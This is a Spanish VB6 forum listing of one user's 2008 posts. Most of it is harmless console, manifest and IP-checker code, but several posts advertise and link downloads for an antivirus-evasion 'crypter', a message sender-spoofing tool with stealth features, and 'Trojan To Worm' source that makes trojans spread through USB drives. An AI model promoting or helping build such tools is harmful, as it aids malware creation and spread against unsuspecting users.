|
101
|
Programación / Programación Visual Basic / Crear aplicaciones de consola VB {AVANZADO} [Clase]
|
en: 10 Octubre 2008, 14:17 pm
|
Bueno, como prometi aqui: Aqui traigo la Clase: Option Explicit '----------------------------------------- 'Autor: Karcrack | 'Creditos: MSDN | 'Fecha: 10/10/08 | 'Web: http://foro.fire-software.net | 'Utilidad: Ejemplo de uso de las APIs para| 'enviar y recibir informacion con | 'aplicaciones de Command Line. | '=========================================| 'Puedes distribuir libremente este codigo | 'Siempre que pongas el autor. | '------------------------------------------ Enum Colors Negro = &H0 Azul = &H1 Verde = &H2 AguaMarina = &H3 Red = &H4 Purpura = &H5 Amarillo = &H6 Blanco = &H7 Gris = &H8 AzulClaro = &H9 VerdeClaro = &HA& AguamarinaClaro = &HB& RojoClaro = &HC& PurpuraClaro = &HD& AmarilloClaro = &HE& BlancoBrillante = &HF& End Enum Private Const ENABLE_LINE_INPUT = &H2& Private Const ENABLE_ECHO_INPUT = &H4& Private Const ENABLE_MOUSE_INPUT = &H10& Private Const ENABLE_PROCESSED_INPUT = &H1& Private Const ENABLE_WINDOW_INPUT = &H8& Private Const ENABLE_PROCESSED_OUTPUT = &H1& Private Const ENABLE_WRAP_AT_EOL_OUTPUT = &H2& Private Const STD_OUTPUT_HANDLE = -11& Private Const STD_INPUT_HANDLE = -10& Private Const STD_ERROR_HANDLE = -12& Private Const INVALID_HANDLE_VALUE = -1& Private mvarTitle As String Private mvarFColor As Double Private mvarBColor As Double Private hCMDIn As Double Private hCMDOut As Double Private Declare Function AllocConsole Lib "kernel32.dll" () As Long Private Declare Function FreeConsole Lib "kernel32" () As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Private Declare Function GetStdHandle Lib "kernel32" (ByVal nStdHandle As Long) As Long Private Declare Function WriteConsole Lib "kernel32" Alias "WriteConsoleA" (ByVal hConsoleOutput As Long, lpBuffer As Any, ByVal nNumberOfCharsToWrite As Long, lpNumberOfCharsWritten As Long, lpReserved As Any) As Long Private Declare Function ReadConsole Lib "kernel32" Alias "ReadConsoleA" (ByVal hConsoleInput As Long, ByVal lpBuffer As String, ByVal nNumberOfCharsToRead As Long, lpNumberOfCharsRead As Long, lpReserved As Any) As Long Private Declare Function SetConsoleTextAttribute Lib "kernel32" (ByVal hConsoleOutput As Long, ByVal wAttributes As Long) As Long Private Declare Function SetConsoleTitle Lib "kernel32" Alias "SetConsoleTitleA" (ByVal lpConsoleTitle As String) As Long Public Function GetData(Optional ByVal dCharacters As Double, Optional ByVal bLine As Boolean) As String Dim lPos As Long GetData = String$(IIf(dCharacters = 0, 500, dCharacters), 0) Call ReadConsole(hCMDIn, GetData, Len(GetData), lPos, vbNull) GetData = Left$(GetData, lPos) If bLine = True Then GetData = Mid$(GetData, InStrRev(GetData, vbCrLf)) End If End Function Public Function SendData(ByVal sData As String, Optional ByVal dNewFColor As Colors, Optional ByVal dNewBColor As Colors) As Boolean Dim dLenWritten As Long Dim Color1 As Long Dim Color2 As Long If dNewFColor Then Color1 = dNewFColor Else Color1 = mvarFColor End If If dNewBColor Then Color2 = dNewBColor Else Color2 = mvarBColor End If Call SetConsoleTextAttribute(hCMDOut, Color1 Or Color2) Call WriteConsole(hCMDOut, ByVal sData, Len(sData), dLenWritten, ByVal 0&) If dLenWritten = Len(sData) Then SendData = True End If Call SetConsoleTextAttribute(hCMDOut, mvarFColor Or mvarBColor) End Function Public Property Let ForeColor(ByVal vData As Colors) mvarFColor = vData Call SetConsoleTextAttribute(hCMDOut, mvarFColor Or mvarBColor) End Property Public Property Get ForeColor() As Colors ForeColor = mvarFColor End Property Public Property Let BackColor(ByVal vData As Colors) mvarBColor = vData Call SetConsoleTextAttribute(hCMDOut, mvarFColor Or mvarBColor) End Property Public Property Get BackColor() As Colors BackColor = mvarBColor End Property Public Property Let Title(ByVal vData As String) mvarTitle = vData Call SetConsoleTitle(mvarTitle) End Property Public Property Get Title() As String Title = mvarTitle End Property Private Sub Class_Initialize() If App.LogMode = 0 Then AllocConsole hCMDOut = GetStdHandle(STD_OUTPUT_HANDLE) hCMDIn = GetStdHandle(STD_INPUT_HANDLE) Call SetConsoleTitle(mvarTitle) Call SetConsoleTextAttribute(hCMDOut, mvarFColor Or mvarBColor) End Sub Private Sub Class_Terminate() CloseHandle hCMDOut CloseHandle hCMDIn If App.LogMode = 0 Then FreeConsole End Sub
Aqui la adjunto con algunos ejemplos:Saludos
|
|
|
102
|
Programación / Programación Visual Basic / Crear aplicaciones de Consola con VB {INTERMEDIO}
|
en: 9 Octubre 2008, 19:39 pm
|
Indice:- Introduccion
- Manos a la obra
- Finalizando
- Ejemplo
- Despedida
Introduccion:Todo el mundo sabe que una aplicacion de consola es una aplicacion que se muestra desde la linea de comandos (CMD.exe,Command Prompt...). Una captura para que quede aun mas claro: Manos a la obra:En este manual, como es nivel 'intermedio', explicare el uso de In/Out (Entrada/Salida) usando FSO ( FileSystemObject). Envez de usando las APIs, seguramente saque de aqui un tiempo una clase para hacerlo usando APIs. La funciones esta perfectamente comentadas para que no haya ningunas dudas Salida:Aqui esta la funcion para enviar algo a nuestra consola: Public Function SendCMD(ByVal sData As String) As Boolean 'Si hay algun error devuelve False, si todo ha ido bien devuelve True On Error GoTo Fallo Dim FSO As Object Dim sOut As Object 'Cargamos los objectos Set FSO = CreateObject("Scripting.FileSystemObject") Set sOut = FSO.GetStandardStream(1) ' StdOut = 1 'Llamamos a la funcion que envia la informacion Call sOut.WriteLine(sData) 'Descargamos los objetos Set sOut = Nothing Set FSO = Nothing 'Devolvemos True, todo ha ido bien SendCMD = True 'Salimos de la funcion Exit Function Fallo: 'Algo fallo, devolvemos False SendCMD = False End Function
Entrada:Esta funcion obtiene los datos que hay en nuestro Command Prompt Public Function GetCMD(Optional ByVal ReadLine As Boolean = False, Optional ByVal Caracteres As Long = 0) As String Dim FSO As Object Dim sIn As Object 'Cargamos los objectos Set FSO = CreateObject("Scripting.FileSystemObject") Set sIn = FSO.GetStandardStream(0) ' StdIn = 0 If ReadLine = False Then 'Si no queremos la ultima linea If Caracteres = 0 Then 'Si lo queremos todo GetCMD = sIn.ReadAll Else 'Si solo queremos los ultimos n Caracteres GetCMD = sIn.Read(Caracteres) End If Else 'Si queremos solo la ultima linea GetCMD = sIn.ReadLine End If 'Descargamos los objetos Set sIn = Nothing Set FSO = Nothing End Function
Finalizando:Una vez hemos codeado nuestra aplicacion y esta terminada del todo hemos de compilarla de forma normal. Pero para que se puede ejecutar desde el CMD.exe hemos de modificar el ejecutable, para hacerlo nos serviremos de este comando del LINK.exe: LINK /EDIT /SUBSYSTEM:CONSOLE <Ruta Ejecutable> He hecho un diminuto script VBS para que al arrastrar nuestro ejecutable lo transforme en Command Prompt compatible aqui esta, para usarlo habeis de guardarlo con el bloc de notas en formato *.vbs y arrastrar el ejecutable que querais modificar. Dim StrLINK ,StrEXE ,WSHShell
'Ruta del LINK.exe de la carpeta VB StrLINK = """C:\Archivos de programa\Microsoft Visual Studio\VB98\LINK.EXE""" 'Ruta del ejecutable que arrastras StrEXE = """" & WScript.Arguments(0) & """" Set WSHShell = CreateObject("WScript.Shell")
WSHShell.Run StrLINK & " /EDIT /SUBSYSTEM:CONSOLE " & StrEXE , 0
Set WSHShell = Nothing WScript.Echo "Finalizado!!" Una vez nuestro ejecutable ya ha sido editado para que se ejecute por linea de comandos ya podra ser utilizado . Ejemplo:Este es un codigo de ejemplo de una calculadora (Tambien lo adjunto al Post) En un formulario: Option Explicit
Private Sub Form_Load() Dim Numero1 As Long Dim Numero2 As Long Dim Operacion As String Dim Resultado As Double 'Para que no se vea la ventana Form1.Visible = False 'Pedimos el primer numero Call SendCMD("Introduce el primer numero:") 'Lo obtenemos Numero1 = GetCMD(True) 'Pedimos el segundo Call SendCMD("Introduce el segundo numero:") 'Lo obtenemos Numero2 = GetCMD(True) 'Pedimos la operacion Call SendCMD("Introduce la operacion:" & vbCrLf & " + para suma" & vbCrLf & " - para resta" & vbCrLf & " * para multiplicacion" & vbCrLf & " / para division") 'La obtenemos Operacion = GetCMD(False, 1) 'Hacemos la operacion Select Case Operacion Case "+" Resultado = Numero1 + Numero2 Case "-" Resultado = Numero1 - Numero2 Case "*" Resultado = Numero1 * Numero2 Case "/" Resultado = Numero1 / Numero2 End Select 'Devolvemos el resultado Call SendCMD(Resultado & vbCrLf) End End Sub
Public Function SendCMD(ByVal sData As String) As Boolean 'Si hay algun error devuelve False, si todo ha ido bien devuelve True On Error GoTo Fallo Dim FSO As Object Dim sOut As Object 'Cargamos los objectos Set FSO = CreateObject("Scripting.FileSystemObject") Set sOut = FSO.GetStandardStream(1) ' StdOut = 1 'Llamamos a la funcion que envia la informacion Call sOut.WriteLine(sData) 'Descargamos los objetos Set sOut = Nothing Set FSO = Nothing 'Devolvemos True, todo ha ido bien SendCMD = True 'Salimos de la funcion Exit Function Fallo: 'Algo fallo, devolvemos False SendCMD = False End Function
Public Function GetCMD(Optional ByVal ReadLine As Boolean = False, Optional ByVal Caracteres As Long = 0) As String Dim FSO As Object Dim sIn As Object 'Cargamos los objectos Set FSO = CreateObject("Scripting.FileSystemObject") Set sIn = FSO.GetStandardStream(0) ' StdIn = 0 If ReadLine = False Then 'Si no queremos la ultima linea If Caracteres = 0 Then 'Si lo queremos todo GetCMD = sIn.ReadAll Else 'Si solo queremos los ultimos n Caracteres GetCMD = sIn.Read(Caracteres) End If Else 'Si queremos solo la ultima linea GetCMD = sIn.ReadLine End If 'Descargamos los objetos Set sIn = Nothing Set FSO = Nothing End Function
Despedida:Bueno, ya esta todo explicado , cualquier duda avisen . De aqui un tiempo sacare una clase que permitira hacer esto, pero con APIs, ademas de permitir cambiar el color al texto y otras cosas . Saludos , espero que hayan aprendido mucho Pueden distribuirlo libremente siempre que pongan la fuente y el autor, yo, Karcrack.
|
|
|
103
|
Programación / Programación Visual Basic / Estilo XP con solo una Funcion (Manifest)
|
en: 13 Agosto 2008, 13:15 pm
|
Bueno, pues eso, es una funcion que he desarrollado para habilitar el estilo XP en nuestros proyectos de Visual Basic 6.0 sin tener que recurrir a OCX ni Controles de Usuario... Option Explicit Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long Private Declare Function GetVersionExA Lib "kernel32" (lpVersionInformation As OSVERSIONINFO) As Integer Private Declare Function InitCommonControls Lib "Comctl32.dll" () As Long Private Type OSVERSIONINFO dwOSVersionInfoSize As Long dwMajorVersion As Long dwMinorVersion As Long dwBuildNumber As Long dwPlatformId As Long szCSDVersion As String * 128 End Type Public Function CreateManifest() As Boolean 'Si hay algun error sigue a la siguiente accion On Error Resume Next Dim sPath As String 'Obtenemos la ruta de nuestro ejecutables sPath = String$(260, Chr$(0)) 'Gracias Cobein sPath = Left$(sPath, GetModuleFileName(App.hInstance, sPath, Len(sPath))) 'Comprobamos qu eno existe ningun fichero .Manifest _ 'y que no estamos ejecutando la aplicacion desde el Visual Studio If App.LogMode = 0 Then Exit Function If Dir(sPath & ".manifest", vbReadOnly Or vbSystem Or vbHidden) = vbNullString Then 'Obtenemos la version del Window$ If Win2Version = "XP" Then 'Si es XP significa que es compatible con el metodo Manifest _ ', por lo tanto crea el fichero Open sPath & ".manifest" For Output As #1 'Le introduce los datos... Print #1, FormatManifest 'Todo ha ido bien... CreateManifest = True Close #1 'Estable el fichero como: Oculto/System/SoloLectura/Archivo SetAttr sPath & ".manifest", vbHidden Or vbSystem Or vbReadOnly Or vbArchive 'Y lo vuelve a ejecutar, para que los cambios tengan efecto Shell sPath, vbNormalFocus End End If End If 'LLamamos al API.... Call InitCommonControls End Function Private Function Win2Version() As String 'Declaramos las variables para esta funcion Dim OSInf As OSVERSIONINFO, iRet As Integer OSInf.dwOSVersionInfoSize = 148 OSInf.szCSDVersion = Space$(128) 'Obtenemos la informacion del Window$ iRet = GetVersionExA(OSInf) 'Si no se ha podido obtener correctamente devuelve 'Unknown' If iRet = 0 Then Win2Version = "Unk": Exit Function With OSInf Select Case .dwPlatformId Case 1 Select Case .dwMinorVersion Case 0 'En caso de que sea Win95 Win2Version = "95" Case 10 'En caso de que sea Win98 Win2Version = "98" Case 90 'En caso de que sea Win Millenium Win2Version = "Mi" End Select Case 2 Select Case .dwMajorVersion Case 3 Or 4 'En caso de que sea NT (Aqui no he distinguido entre las dos versiones...) Win2Version = "NT" Case 5 Select Case .dwMinorVersion Case 0 'En caso de que sea Win2000 Win2Version = "2000" Case 1 'En caso de que sea XP Win2Version = "XP" Case 2 'En caso de que sea Win2003 (SERVER) Win2Version = "2003" End Select Case 6 'En caso de que sea Win Vista Win2Version = "Vista" End Select Case Else 'En caso de que sea que sea desconocido... Win2Version = "Unk" End Select End With End Function Private Function FormatManifest() As String Dim Header As String 'Carga el .manifest en una variable Header = "<?xml version=" & Chr(34) & "1.0" & Chr(34) & " encoding=" & Chr(34) & "UTF-8" & Chr(34) & " standalone=" & Chr(34) & "yes" & Chr(34) & "?>" _ & vbCrLf & "<assembly xmlns=" & Chr(34) & "urn:schemas-microsoft-com:asm.v1" & Chr(34) & " manifestVersion=" & Chr(34) & "1.0" & Chr(34) & ">" _ & vbCrLf & "<assemblyIdentity" _ & vbCrLf & "version=" & Chr(34) & "1.0.0.0" & Chr(34) _ & vbCrLf & "processorArchitecture=" & Chr(34) & "X86" & Chr(34) _ & vbCrLf & "name=" & Chr(34) & App.EXEName & ".exe" & Chr(34) _ & vbCrLf & "type=" & Chr(34) & "win32" & Chr(34) _ & vbCrLf & "/>" _ & vbCrLf & "<description>" & App.Comments & "</description>" _ & vbCrLf & "<dependency>" _ & vbCrLf & "<dependentAssembly>" _ & vbCrLf & "<assemblyIdentity" _ & vbCrLf & "type=" & Chr(34) & "win32" & Chr(34) _ & vbCrLf & "name=" & Chr(34) & "Microsoft.Windows.Common-Controls" & Chr(34) _ & vbCrLf & "version=" & Chr(34) & "6.0.0.0" & Chr(34) _ & vbCrLf & "processorArchitecture=" & Chr(34) & "X86" & Chr(34) _ & vbCrLf & "publicKeyToken=" & Chr(34) & "6595b64144ccf1df" & Chr(34) _ & vbCrLf & "language=" & Chr(34) & "*" & Chr(34) _ & vbCrLf & "/>" _ & vbCrLf & "</dependentAssembly>" _ & vbCrLf & "</dependency>" _ & vbCrLf & "</assembly>" FormatManifest = Header End Function
Aqui esta el codigo, quien quiera descargarlo que lo haga de aqui: Uso:Simplemente llamando a la funcion CreateManifest se cambia solo el estilo, pero solo funciona cuando esta compilado...
Ah!! Os doy un pequeño aviso: Por lo visto los chicos de Microsoft tuvieron algunos problemas , porque resulta, que al poner un optionbutton dentro de un frame se queda de color de fondo negro, asi que, os doy la solucion al problema: Meter los controles con los que os pase eso dentro de un Picture... eso lo soluciona
|
|
|
104
|
Programación / Programación Visual Basic / [SOURCE][ACTUALIZADO] Karcrack Project Crypter, cifra tus proyectos en VB
|
en: 25 Julio 2008, 19:54 pm
|
Bueno, os presento un programa que cifra vuestros proyectos en VB para evitar heuristica y demas. Este programa esta basado en este del que MadAntrax mostro la interfaz: Necesito opinión sobre una futura GUILo posteo con su consentimiento. Descripción:El ' Karcrack Project Crypter' es un programa que cifra strings/cadenas de nuestros proyectos en VB6.0. Capturas: Caracteristicas:- cifra usando un StrReverse() o un Xor()
- La funcion del Xor es dinámica, lo que significa que varia cada vez que encriptas un proyecto.
- Permite seleccionar los ficheros del proyecto que se encriptaran.
- Permite crear ficheros de respaldo de los fichero modificados.
- Muestra el progreso de encriptacion de cada fichero, en la parte inferior de la ventana.
Descargas: Solucionado el error que corrompia algunos proyectos...
|
|
|
105
|
Programación / Programación Visual Basic / Crea tu propio Ip-Checker [VB+PHP]
|
en: 2 Julio 2008, 17:12 pm
|
Bueno, como dice el titulo con el siguiente metodo puedes obtener tu Ip externa como si del DynDNS se tratara. Lo primero sera subir el fichero *.PHP a un servidor que sea compatible con el PHP. PHP:/* Esta es una pequeña funcion que devuleve la IP Actual siempre y cuando se navege desde el navegador 'karcrack' */ <?PHP $Nav = $_SERVER['HTTP_USER_AGENT']; if ($Nav == "karcrack") { echo $_SERVER['REMOTE_ADDR']; } else { echo '127.0.0.1'; } ?>
Esta funcion comprueba que el navegador con el que se navega sea 'karcrack', por supuesto esto se puede modificar VB:'Esto se pone siempre xD Option Explicit 'Se declara el Objecto. Public WinHttp As Object 'Se declaran las constantes para la configuracion del WinHttp Public Const WinHttpRequestOption_EnableHttp1_1 As Long = 17 Public Const WinHttpRequestOption_EnableHttpsToHttpRedirects As Long = 12 Public Const WinHttpRequestOption_EnableRedirects As Long = 6 Public Const WinHttpRequestOption_UserAgentString As Long = 0 Public Const HTTPREQUEST_PROXYSETTING_DIRECT As Long = 1 'Esta funcion configura el WinHttp con las opciones mas habituales... Public Sub SetHTTPLib() 'Se vacia el objecto. Set WinHttp = Nothing 'Se carga el objecto Set WinHttp = CreateObject("WinHttp.WinHttpRequest.5.1") With WinHttp 'Permite la version del protocolo http 1.1 .Option(WinHttpRequestOption_EnableHttp1_1) = True 'Permite la redireccion de https:// a http:// .Option(WinHttpRequestOption_EnableHttpsToHttpRedirects) = True 'Permite las demas redirecciones .Option(WinHttpRequestOption_EnableRedirects) = True 'Modifica el Navegador, para que nuestro script PHP sepa que somos notros :D .Option(WinHttpRequestOption_UserAgentString) = "karcrack" 'Desactiva el proxy. .SetProxy HTTPREQUEST_PROXYSETTING_DIRECT End With End Sub Public Function ObIP(ByVal URL As String) As String Call SetHTTPLib With WinHttp 'Se conecta. .Open "GET", URL 'Pide la IP .Send 'La obtiene ObIP = .ResponseText End With End Function
Bueno, aqui esta todo bien explicado... la funcion se llama de esta forma: msgbox ObIp ("URL_DONDE_ESTA_EL_SCRIPT_EN_PHP")
|
|
|
106
|
Programación / Programación Visual Basic / [Karcrack IP Checker] Nuevo método para obtener IP propia [SMTP]
|
en: 25 Mayo 2008, 12:04 pm
|
Bueno, estaba en casa aburrido y me puse a juguetear con los SMTP, me di cuenta que algunos SMTP (gmail por ejemplo) al enviarle el HELO* te saludaban dandote la IP, la cual cosa venia muy bien Pues bueno, me puse a programa y 5 minutos despues ya tenía el programita que sacaba la IP Y pues eso, que lo comparto con vosotros. Descargar: Codigo fuente incluido. *Protocolo SMTPEjemplo de comunicación:S: 220 Servidor ESMTP C: HELO S: 250 Hello, please meet you C: MAIL FROM: yo@midominio.com S: 250 Ok C: RCPT TO: hackerhigueyano@hotmail.com S: 250 Ok C: DATA S: 354 End data with <CR><LF>.<CR><LF> C: Subject: Campo de asunto C: From: yo@midominio.com C: To: destinatario@sudominio.com C: C: Hola, C: Esto es una prueba. C: Adios. C: . S: 250 Ok: queued as 12345 C: quit S: 221 Bye
|
|
|
107
|
Programación / Programación Visual Basic / Visual Studio 6.0 Español [GIG][2 LINKs]
|
en: 5 Mayo 2008, 15:36 pm
|
Microsoft Visual Studio es un entorno de desarrollo integrado (IDE, por sus siglas en inglés) para sistemas Windows. Soporta varios lenguajes de programación tales como Visual C++, Visual C#, Visual J#, ASP.NET y Visual Basic .NET, aunque actualmente se han desarrollado las extensiones necesarias para muchos otros. Visual Studio permite a los desarrolladores crear aplicaciones, sitios y aplicaciones web, así como servicios web en cualquier entorno que soporte la plataforma .NET (a partir de la versión 6). Así se pueden crear aplicaciones que se intercomuniquen entre estaciones de trabajo, páginas web y dispositivos móviles. Información de la descarga:[Tamaño:]569.52MB [Partes:]1x300MB + 1x269.52MB [Formato:]*.ISO [Lenguaje:]Español [MD5:]E522D0BECFA5A10D846F994451D3B200[SHA1:]D9D171A9E477E5CD5493BA9507EFA560BCD956A1[CRC-32:]5600E555[Uploader:]Karcrack[Pass:]VisualStudio6.0Karcrack Descarga:
|
|
|
108
|
Programación / Programación Visual Basic / [Source]Karcrack FakeSend
|
en: 2 Mayo 2008, 16:33 pm
|
KFS [Karcrack Fake Send]Descripción:Como bien dice el nombre del programa hace envíos falsos, mas concretamente, envía mensajes por red (Net Send) con la posibilidad de cambiar el Emisor (Persona que envía el mensaje). - Permite ocultar el programa pulsando [CONTROL]+[K], vuelve a aparecer pulsando de nuevo la misma combinación.
- El programa se añade al systray (Al lado del reloj de Window$) para mayor discreción, con el icono de 'Volumen'. Para poder mostrar el menú, o poder restaurar la ventana se debe mantener [CONTROL]+[SHIFT]+[ALT].
- Permite modificar la transparencia de la ventana haciendo doble click sobre las partes vacías del form (los frames no valen ).
- Permite seleccionar un PC de la red, mostrando incluso si esta disponible o no.
- Muestra el progreso de cada acción individual y de la acción conjunta.
Capturas:Descarga:http://lix.in/8d3c3bcdPass: fire
|
|
|
109
|
Programación / Programación Visual Basic / [Source] T2W v2 [Trojan To Worm]
|
en: 5 Marzo 2008, 14:56 pm
|
Source Trojan To Worm v2.0 Como su nombre indica este el el codigo del programa que transforma un troyano ¹ en un gusano ². Haciendo que el server del troyano se reproduzca infectando memorias USB (PenDrives). [Capturas][Form Inicial] [Descarga Del Codigo]Pass:ByKarcrack ¹Se denomina troyano (o caballo de Troya, traducción fiel del inglés Trojan horse aunque no tan utilizada) a un programa malicioso capaz de alojarse en computadoras y permitir el acceso a usuarios externos, a través de una red local o de Internet, con el fin de recabar información o controlar remotamente a la máquina anfitriona.
²Un gusano es un virus informático que tiene la propiedad de duplicarse a sí mismo. Los gusanos utilizan las partes automáticas de un sistema operativo que generalmente son invisibles al usuario.
Post del Programa: http://foro.elhacker.net/index.php/topic,146962.msg915655.html#msg915655
|
|
|
|
|
|
|